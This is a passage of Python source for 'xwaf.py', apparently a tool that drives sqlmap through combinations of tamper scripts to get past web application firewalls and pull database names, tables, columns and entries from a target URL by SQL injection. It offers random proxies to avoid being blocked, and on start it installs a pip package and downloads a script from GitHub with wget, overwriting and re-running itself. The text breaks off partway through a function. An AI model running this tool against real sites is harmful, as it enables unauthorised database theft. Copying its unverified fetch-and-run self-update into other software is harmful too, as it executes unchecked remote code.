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xwaf.py
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import os
import time
import re
import itertools
from urllib.parse import urlparse
import sys
if sys.version_info < (3, 0):
sys.stdout.write("Sorry,xwaf requires Python 3.x\n")
sys.exit(1)
os.system("pip3 install exp10it -U --no-cache")
from exp10it import figlet2file
from exp10it import update_config_file_key_value
from exp10it import get_key_value_from_config_file
from exp10it import CLIOutput
from exp10it import get_input_intime
from exp10it import get_http_or_https
from exp10it import homePath
class Program(object):
def __init__(self):
self.currentVersion=1.12
self.selfUpdate()
self.output = CLIOutput()
self.try_times = 0
#rflag为1代表sqlmap的参数中有-r选项
self.rflag=0
self.useProxy=False
figlet2file("xwaf", 0, True)
print("currentVersion:%s" % self.currentVersion)
self.handle_url()
self.log_file = homePath+"/.sqlmap/output/" + urlparse(self.url).hostname + "/log"
self.log_config_file = self.log_file[:-3] + "config_file.ini"
self.has_good_sqli_type = 0
#下面这句决定在全局是否加代理
self.output.useProxy=self.useProxy
parsed = urlparse(self.url)
safe_url = parsed.scheme + "://" + parsed.netloc
if self.rflag==0:
self.sm_command = '''sqlmap -u "%s" --batch -v 3 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --level 3 --smart''' % (self.url, safe_url)
else:
self.sm_command = '''sqlmap --batch -v 3 --threads 4 --random-agent --safe-url "%s" --safe-freq 1 --level 3 --smart''' % safe_url
self.sm_hex_command = self.sm_command + " --hex"
self.sm_no_cast_command = self.sm_command + " --no-cast"
self.MYSQL = []
self.MSSQL = []
self.ORACLE = []
self.PGSQL = []
self.ACCESS = []
self.SQLITE = []
self.DB2 = []
self.FIREBIRD = []
self.MAXDB = []
self.SYBASE = []
self.HSQLDB = []
os.system('rm /usr/share/sqlmap/tamper/*.pyc')
tamper_names = os.listdir('/usr/share/sqlmap/tamper')
tamper_names.remove('__init__.py')
for each_script in tamper_names:
self.check_DB_type_from_script(each_script)
print('mysql:')
print(self.MYSQL)
print('mssql:')
print(self.MSSQL)
print('oracle:')
print(self.ORACLE)
print('postgresql:')
print(self.PGSQL)
print('sqlite:')
print(self.SQLITE)
print('access:')
print(self.ACCESS)
print('db2:')
print(self.DB2)
print('firebird:')
print(self.FIREBIRD)
print('maxdb:')
print(self.MAXDB)
print('sybase:')
print(self.SYBASE)
print('hsqldb:')
print(self.HSQLDB)
if os.path.exists(self.log_config_file)==False:
#log_config_file不存在,说明xwaf没跑过,开始时用sm_command跑,生成log_config_file,并将当前跑过的命令记录下来
self.output.os_system_combine_argv_with_bottom_status(self.sm_command)
# 下面这个列表是跑过的命令,每次跑一个命令时,先检测这个命令是否在下面这个列表中,如果在,说明这个命令跑过了,略过这
# 个要跑的命令
update_config_file_key_value(self.log_config_file, 'default', 'finished_command_list', [])
# 下面这个列表是成功绕过的命令
update_config_file_key_value(self.log_config_file, 'default', 'bypassed_command', [])
# 下面两句初始化产生的内容为hex_or_no_cast列表和tamper_list列表的配置文件
update_config_file_key_value(self.log_config_file, 'default', 'hex_or_no_cast', [])
update_config_file_key_value(self.log_config_file, 'default', 'tamper_list', [])
current_finished_command_list=[self.sm_command]
else:
#log_config_file存在,说明xwaf跑过,开始时用sm_command跑,并将当前跑过的命令记录下来
current_finished_command_list = eval(get_key_value_from_config_file(self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command)
current_finished_command_list.append(self.sm_command)
update_config_file_key_value(self.log_config_file, 'default','finished_command_list', current_finished_command_list)
has_sqli = self.get_log_file_need_tamper()
if has_sqli == 0:
# 如果没有漏洞就不再进行后面的检测了
sys.exit(0)
self.get_db_type_need_tamper()
# 设置默认找不到数据库类型则将目标当作MYSQL
db_type = self.get_db_type_from_log_file(self.log_file)
if db_type != 0:
update_config_file_key_value(self.log_config_file, 'default', 'db_type', '"' + db_type + '"')
else:
update_config_file_key_value(self.log_config_file, 'default', 'db_type', '"MYSQL"')
# get_db_type_need_tamper函数运行前获取db_type从log_file中获取,get_db_type_need_tamper函数运行之后获取
# db_type从config_file中获取
# 下面在以后的注入语句中加上数据库类型加快注入速度
db_type = eval(get_key_value_from_config_file(self.log_config_file, 'default', 'db_type'))
self.sm_command = self.sm_command + " --dbms=%s" % db_type
self.sm_hex_command = self.sm_hex_command + " --dbms=%s" % db_type
self.sm_no_cast_command = self.sm_no_cast_command + " --dbms=%s" % db_type
if db_type != 'ACCESS':
# ACCESS数据库将不运行get_good_sqli_type_need_tamper()[一般是B注入方法]和get_db_name_need_tamper()[--current_db会得
# 到None的结果]函数
# has_good_sqli_type这个值要作为后面函数的全局变量来用
self.has_good_sqli_type = self.get_good_sqli_type_need_tamper()
self.get_db_name_need_tamper()
#下面在全局的sql注入语句中加入-D db_name[如果数据库不是ACCESS]
db_name = self.get_db_name_from_log_file(self.log_file)[0]
self.sm_command= self.sm_command+" -D "+db_name if db_type!='ACCESS' else self.sm_command
self.sm_hex_command = self.sm_command + " --hex"
self.sm_no_cast_command = self.sm_command + " --no-cast"
#上面的3句之后,以后出现在代码中的sql注入语句就没有-D db_name这样的string了
self.get_table_name_need_tamper()
self.get_column_name_need_tamper()
has_entries = self.get_entries_need_tamper()
if has_entries == 1:
succeedCmd=eval(get_key_value_from_config_file(self.log_config_file, 'default', 'bypassed_command'))
self.output.good_print("成功获取数据的命令是:\n%s" % succeedCmd, 'red')
self.output.good_print('you tried %d different combination of tampers' % self.try_times, 'red')
def selfUpdate(self):
#自动更新
def getVersion(file):
with open("/tmp/xwaf.py","r+") as f:
content=f.read()
latestVersion=re.search(r"self\.currentVersion\s*=\s*(.*)",content).group(1)
latestVersion=float(latestVersion)
return latestVersion
os.system("wget https://raw.githubusercontent.com/3xp10it/bypass_waf/master/xwaf.py -O /tmp/xwaf.py -q")
latestVersion=getVersion("/tmp/xwaf.py")
if latestVersion>self.currentVersion:
print("Attention! New version exists,I will update xwaf.py to the latest version.")
currentScriptDirPath=os.path.dirname(os.path.abspath(__file__))+'/'
os.system("cp /tmp/xwaf.py %sxwaf.py" % currentScriptDirPath)
print("Update finished! :)")
oldArgvList=sys.argv[1:]
newString=""
for each in oldArgvList:
if re.search(r"\s",each):
newString+=(" "+'"'+each+'"')
else:
newString+=(" "+each)
newCommand="python3 "+currentScriptDirPath+newString+"xwaf.py"+newString
#print("new cmd:\n"+newCommand)
os.system(newCommand)
sys.exit(0)
else:
return
def usage(self):
self.output.good_print('''You can use this script like this:
eg:
1.python3 xwaf.py -u "http://www.baidu.com/1.php?id=1"
2.python3 xwaf.py -u "http://www.baidu.com/1.php" --data="postdata" -p xxx
3.python3 xwaf.py -r /tmp/headerfile -p xxx --level 5
Actually,xwaf.py supports all parameters[except for param '-m' and '-l'] in sqlmap,you can use xwaf as same as
sqlmap's usage.''','yellow')
def handle_url(self):
if len(sys.argv) == 1:
self.usage()
sys.exit(0)
else:
if "-m" in sys.argv[1:] or "-l" in sys.argv[1:]:
print("Sorry,xwaf.py does not support param '-m' and '-l'")
self.usage()
sys.exit(1)
print("Do you want to use random proxy from the Internet on each different sqlmap command to anti \
blocked by waf for your mass requests? [N|y]")
choose=get_input_intime('n',5)
if choose=='y' or choose=='Y':
self.useProxy=True
self.url=""
tmp=sys.argv[1:]
index=0
for each in tmp:
if each=="-u":
self.url=tmp[index+1]
break
index+=1
if self.url=="":
if "-r" in sys.argv[1:]:
self.rflag=1
tmpIndex=0
tmpList=sys.argv[1:]
for each in tmpList:
if each=="-r":
readFile=tmpList[tmpIndex+1]
break
tmpIndex+=1
with open(readFile,"r+") as f:
allLines=f.readlines()
findHost=0
for eachLine in allLines:
if re.search("host:",eachLine,re.I):
hostValue=re.search("host:\s?([\S]+)",eachLine,re.I).group(1)
self.url=get_http_or_https(hostValue)+"://"+hostValue
findHost=1
break
if findHost==0:
print("Although you provide a header file,but I can not find host value")
sys.exit(1)
else:
print("Sorry,I can not find a url:(")
self.usage()
sys.exit(1)
def get_db_type_from_log_file(self, log_file):
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的数据库类型在/usr/share/sqlmap/lib/core/enums.py文件中可得
mysql_pattern = re.compile(r"MySQL", re.I)
mssql_pattern = re.compile(r"(Microsoft SQL Server)|(MSSQL)", re.I)
oracle_pattern = re.compile(r"Oracle", re.I)
postgresql_pattern = re.compile(r"(PostgreSQL)|(PGSQL)", re.I)
access_pattern = re.compile(r"(Microsoft Access)|(Access)", re.I)
#access特殊pattern
accessSpecialPattern=re.compile(r"MSysAccessObjects",re.I)
sqlite_pattern = re.compile(r"SQLite", re.I)
DB2_pattern = re.compile(r"(IBM DB2)|(DB2)", re.I)
FIREBIRD_pattern = re.compile(r"Firebird", re.I)
maxdb_pattern = re.compile(r"SAP MaxDB", re.I)
sybase_pattern = re.compile(r"Sybase", re.I)
HSQLDB_pattern = re.compile(r"HSQLDB", re.I)
find_list = re.findall(r"back-end DBMS:(.*)", log_content)
if find_list:
for each in find_list:
if re.search(mysql_pattern, each):
return "MYSQL"
if re.search(mssql_pattern, each):
return "MSSQL"
if re.search(oracle_pattern, each):
return "ORACLE"
if re.search(postgresql_pattern, each):
return "PGSQL"
if re.search(access_pattern, each):
return "ACCESS"
if re.search(sqlite_pattern, each):
return "SQLITE"
if re.search(DB2_pattern, each):
return "DB2"
if re.search(FIREBIRD_pattern, each):
return "FIREBIRD"
if re.search(maxdb_pattern, each):
return "MAXDB"
if re.search(sybase_pattern, each):
return "SYBASE"
if re.search(HSQLDB_pattern, each):
return "HSQLDB"
elif re.search(accessSpecialPattern,log_content):
return "ACCESS"
else:
self.output.good_print("can not get db type from log file,I will return 0", 'red')
return 0
def get_sqli_type_from_log_file(self, log_file):
# 从log文件中获取注入方法有哪些eg.B|T|U|E|S|Q
# 其中B|T|Q一般比U|E|S有更好的过waf的效果
# 而U|E|S比B|T|Q有更快的注入速度和更高的注入权限
sqli_type = []
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的pattern可从/usr/share/sqlmap/lib/core/enums.py中获得
B_sqli_type_pattern = re.compile(r"Type:.*boolean-based blind", re.I)
T_sqli_type_pattern = re.compile(r"Type:.*time-based blind", re.I)
Q_sqli_type_pattern = re.compile(r"Type:.*inline query", re.I)
U_sqli_type_pattern = re.compile(r"Type:.*UNION query", re.I)
E_sqli_type_pattern = re.compile(r"Type:.*error-based", re.I)
S_sqli_type_pattern = re.compile(r"Type:.*stacked queries", re.I)
if re.search(B_sqli_type_pattern, log_content):
sqli_type.append('B')
if re.search(T_sqli_type_pattern, log_content):
sqli_type.append('T')
if re.search(Q_sqli_type_pattern, log_content):
sqli_type.append('Q')
if re.search(U_sqli_type_pattern, log_content):
sqli_type.append('U')
if re.search(E_sqli_type_pattern, log_content):
sqli_type.append('E')
if re.search(S_sqli_type_pattern, log_content):
sqli_type.append('S')
return sqli_type
def get_db_name_from_log_file(self, log_file):
with open(log_file, "r+") as f:
log_content = f.read()
find_list = re.findall(r'''current database:[\s]*('|")*([^\s'"]+)''', log_content)
db_name_list = []
if find_list:
for each in find_list:
if each[1] not in db_name_list and each[1] != "None":
db_name_list.append(each[1])
return db_name_list
else:
self.output.good_print("can not get db name from log file,I will return 0", 'red')
return 0
def get_table_name_from_log_file(self, log_file):
# 这个函数返回当前current_db的第一个表名
with open(log_file, "r+") as f:
log_content = f.read()
# 下面的正则查找current_db的第一个表名
db_type=eval(get_key_value_from_config_file(self.log_config_file,'default','db_type'))
if db_type=='ACCESS':
current_db='Microsoft_Access_masterdb'
else:
current_db= self.get_db_name_from_log_file(self.log_file)[0]
find_list = re.findall(r"Database:[\s]*(%s)[\s]+\[\d{1,3}\s+tables\]\s\+\-+\+\s\|\s+([^\s]+)\s" % current_db, log_content)
table_list = []
if find_list:
for each in find_list:
if each not in table_list:
table_list.append(each)
return table_list[0][1]
else:
self.output.good_print("can not get any table from log file,I will return 0", 'red')
return 0
def get_column_name_from_log_file(self, log_file):
# 找出column,不用找出column的具体值,只要log文件中有column出现即可
with open(log_file, "r+") as f:
log_content = f.read()
find_column = re.search(r"\[(\d{1,3}) columns\]", log_content)
if find_column:
return 1
else:
self.output.good_print("can not get any column from log file,I will return 0", 'red')
return 0
def get_entries_from_log_file(self, log_file):
# 找出entries,不用找出entries的具体值,只要log文件中有entries出现即可
with open(log_file, "r+") as f:
log_content = f.read()
find_entries = re.search(r"\[(\d{1,3} entries)|(1 entry)\]", log_content)
if find_entries:
return 1
else:
self.output.good_print("can not get any entries from log file,I will return 0", 'red')
return 0
def check_DB_type_from_script(self, script_name):
script_has_any_DB = 0
with open('/usr/share/sqlmap/tamper/' + script_name, 'r+') as f:
tamper_content = f.read()
mysql_pattern = re.compile(r"MySQL", re.I)
mssql_pattern = re.compile(r"(Microsoft SQL Server)|(MSSQL)", re.I)
oracle_pattern = re.compile(r"Oracle", re.I)
postgresql_pattern = re.compile(r"(PostgreSQL)|(PGSQL)", re.I)
access_pattern = re.compile(r"(Microsoft Access)|(Access)", re.I)
sqlite_pattern = re.compile(r"SQLite", re.I)
DB2_pattern = re.compile(r"(IBM DB2)|(DB2)", re.I)
FIREBIRD_pattern = re.compile(r"Firebird", re.I)
maxdb_pattern = re.compile(r"SAP MaxDB", re.I)
sybase_pattern = re.compile(r"Sybase", re.I)
HSQLDB_pattern = re.compile(r"HSQLDB", re.I)
if re.search(mysql_pattern, tamper_content) and script_name[:-3] not in self.MYSQL:
self.MYSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(mssql_pattern, tamper_content) and script_name[:-3] not in self.MSSQL:
self.MSSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(oracle_pattern, tamper_content) and script_name[:-3] not in self.ORACLE:
self.ORACLE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(postgresql_pattern, tamper_content) and script_name[:-3] not in self.PGSQL:
self.PGSQL.append(script_name[:-3])
script_has_any_DB = 1
if re.search(access_pattern, tamper_content) and script_name[:-3] not in self.ACCESS:
self.ACCESS.append(script_name[:-3])
script_has_any_DB = 1
if re.search(sqlite_pattern, tamper_content) and script_name[:-3] not in self.SQLITE:
self.SQLITE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(DB2_pattern, tamper_content) and script_name[:-3] not in self.DB2:
self.DB2.append(script_name[:-3])
script_has_any_DB = 1
if re.search(FIREBIRD_pattern, tamper_content) and script_name[:-3] not in self.FIREBIRD:
self.FIREBIRD.append(script_name[:-3])
script_has_any_DB = 1
if re.search(maxdb_pattern, tamper_content) and script_name[:-3] not in self.MAXDB:
self.MAXDB.append(script_name[:-3])
script_has_any_DB = 1
if re.search(sybase_pattern, tamper_content) and script_name[:-3] not in self.SYBASE:
self.SYBASE.append(script_name[:-3])
script_has_any_DB = 1
if re.search(HSQLDB_pattern, tamper_content) and script_name[:-3] not in self.HSQLDB:
self.HSQLDB.append(script_name[:-3])
script_has_any_DB = 1
if script_has_any_DB == 0 and script_name[:-3] not in self.MYSQL + self.MSSQL + self.ORACLE + self.PGSQL + self.ACCESS + self.SQLITE + self.DB2 + self.FIREBIRD + self.MAXDB + self.SYBASE + self.HSQLDB:
self.MYSQL.append(script_name[:-3])
self.MSSQL.append(script_name[:-3])
self.ORACLE.append(script_name[:-3])
self.PGSQL.append(script_name[:-3])
self.ACCESS.append(script_name[:-3])
self.SQLITE.append(script_name[:-3])
self.DB2.append(script_name[:-3])
self.FIREBIRD.append(script_name[:-3])
self.MAXDB.append(script_name[:-3])
self.SYBASE.append(script_name[:-3])
self.HSQLDB.append(script_name[:-3])
def test_tamper_string(self, tamper_string, forwhat):
# 根据forwhat的目的来测试当前tamper_string是否能达到目的
# 成功达到目的返回1,否则返回0
# run_all_comb中的test_tamper_string函数中是有tamper的包括--hex和--no-cast的检测
# 当前get_(for_what)_need_tamper函数主体代码中是没有tamper的包括--hex和--no-cast的检测
# tamper_string是tamepr1,tamper2的格式
import subprocess
import re
# 下面这段用来获取当前将使用的tamper_string,这个tamper_string由test_tamper_string函数传入的tamper_string参数
# 和已经获得的tamper_list共同决定
current_tamper_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'tamper_list'))
if current_tamper_list == []:
# 已经获得过的tamper_list为空
tamper_string = tamper_string
else:
# 已经获得过的tamper_list不为空
if "," not in tamper_string:
# 当前传入的tamper_string只有一种tamper
if tamper_string in current_tamper_list:
# 此时返回0,相当于这个测试已经测过了,不再测
return 0
else:
tamper_string = self.get_from_tuple(current_tamper_list.append(tamper_string))
else:
# 当前传入的tamper_string有超过一种tamper
for each_tamper in tamper_string.split(","):
if each_tamper not in current_tamper_list:
current_tamper_list.append(each_tamper)
if current_tamper_list == eval(get_key_value_from_config_file(self.log_config_file, 'default', 'tamper_list')):
# 说明当前传入的tamper_string中的每个tamper在已经获得过的tamper_list中都存在,说明之前已经测过了
# 不再测
return 0
else:
tamper_string = self.get_from_tuple(current_tamper_list)
self.sm_command_with_tamper = self.sm_command + " --tamper=%s" % tamper_string
self.sm_hex_command_with_tamper = self.sm_command_with_tamper + " --hex"
self.sm_no_cast_command_with_tamper = self.sm_command_with_tamper + " --no-cast"
if forwhat == 'log_file':
# 为了获取有内容的log_file[也即检测出目标url有sqli漏洞]而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取有内容的log,也即检测出目标url有sqli...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper)
current_finished_command_list.append(self.sm_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s检测到了当前url有sqli" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_hex_command_with_tamper)
current_finished_command_list.append(self.sm_hex_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项检测到了当前url有sqli" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper)
current_finished_command_list.append(self.sm_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项检测到了当前url有sqli" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项检测到了当前url有sqli" %
(tamper_string, hex_or_no_cast), 'red')
# return 1代表达到forwhat的目的
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'db_type':
# 为了获取数据库类型而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取数据库类型...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper)
current_finished_command_list.append(self.sm_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.check_log_has_content(self.log_file) == True:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s检测到了当前url的数据库类型" %
tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_hex_command_with_tamper)
current_finished_command_list.append(self.sm_hex_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项检测到了当前url的数据库类型" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_no_cast_command_with_tamper)
current_finished_command_list.append(self.sm_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项检测到了当前url的数据库类型" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
if self.get_db_type_from_log_file(self.log_file) != 0:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项检测到了当前url的数据库类型" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'good_sqli_type':
# 为了获取E|U|S高效注入方法而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取E|U|S高效注入方法...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(self.sm_command_with_tamper + " --technique=USE")
current_finished_command_list.append(self.sm_command_with_tamper + " --technique=USE")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s获得了U|E|S一种以上的高效注入方法"
% tamper_string, 'red')
flag = 1
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_hex_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_hex_command_with_tamper + " --technique=USE")
current_finished_command_list.append(
self.sm_hex_command_with_tamper + " --technique=USE")
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--hex选项获得了U|E|S一种以上的高效注入方法" % tamper_string, 'red')
flag = 1
update_config_file_key_value(
self.log_config_file, 'default', 'hex_or_no_cast', ['--hex'])
if flag == 0:
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if self.sm_no_cast_command_with_tamper + " --technique=USE" in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(
self.sm_no_cast_command_with_tamper + " --technique=USE")
current_finished_command_list.append(
self.sm_no_cast_command_with_tamper + " --technique=USE")
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print(
"恭喜大爷!!! 使用当前tamper:%s和--no-cast选项获得了U|E|S一种以上的高效注入方法" % tamper_string, 'red')
flag = 1
update_config_file_key_value(self.log_config_file, 'default',
'hex_or_no_cast', ['--no-cast'])
else:
# 当前已经获取--hex或者--no-cast选项
# hex_or_no_cast列表只有一个,如果先检测到--hex选项可以用则不再检测--no-cast选项是否可用
hex_or_no_cast = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'hex_or_no_cast'))[0]
sm_hex_or_no_cast_command_with_tamper = self.sm_command_with_tamper + " " + hex_or_no_cast + " --technique=USE"
current_finished_command_list = eval(get_key_value_from_config_file(
self.log_config_file, 'default', 'finished_command_list'))
if sm_hex_or_no_cast_command_with_tamper in current_finished_command_list:
pass
else:
self.output.os_system_combine_argv_with_bottom_status(sm_hex_or_no_cast_command_with_tamper)
current_finished_command_list.append(sm_hex_or_no_cast_command_with_tamper)
update_config_file_key_value(self.log_config_file, 'default',
'finished_command_list', current_finished_command_list)
sqli_type = self.get_sqli_type_from_log_file(self.log_file)
if 'U' in sqli_type or 'E' in sqli_type or 'S' in sqli_type:
self.output.good_print("恭喜大爷!!! 使用当前tamper:%s和已经得到的%s选项获得了U|E|S一种以上的高效注入方法" %
(tamper_string, hex_or_no_cast), 'red')
flag = 1
if flag == 1:
# 下面将当前使用的tamper_string中的tamper写入到tamper_list中,直接写tamper_string中的tamper而不是
# 先判断tamper_string中是否有tamper_list中不存在的tamper再将不存在的tamper写入tamper_list是因为这
# 里的tamper_string已经是在tamper_list的基础上形成的最终的tamper_string,因为每次测试tamper时,只要
# 测到该tamper可用,以后每次新的tamper测试都会在这个可用tamper的基础上再加上新测试的tamper进行测试
if "," not in tamper_string:
# 当前使用的tamper_string只有一个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', [tamper_string])
else:
# 当前使用的tamper_string有多个tamper
update_config_file_key_value(self.log_config_file, 'default',
'tamper_list', tamper_string.split(","))
# return 1代表当前tamper达到了目的
return 1
# return 0代表当前tamper没有达到目的
return 0
if forwhat == 'db_name':
# 为了获取所有数据库而运行的test_tamper_string
flag = 0
self.output.good_print("现在尝试用tamper来获取当前url的数据库名...", 'green')
self.output.good_print("目前使用的tamper是%s" % tamper_string, 'green')
if eval(get_key_value_from_config_file(self.log_config_file, 'default', 'hex_or_no_cast')) == []:
# 当前还没有获取--hex或者--no-cast选项
if self.has_good_sqli_type == 1:
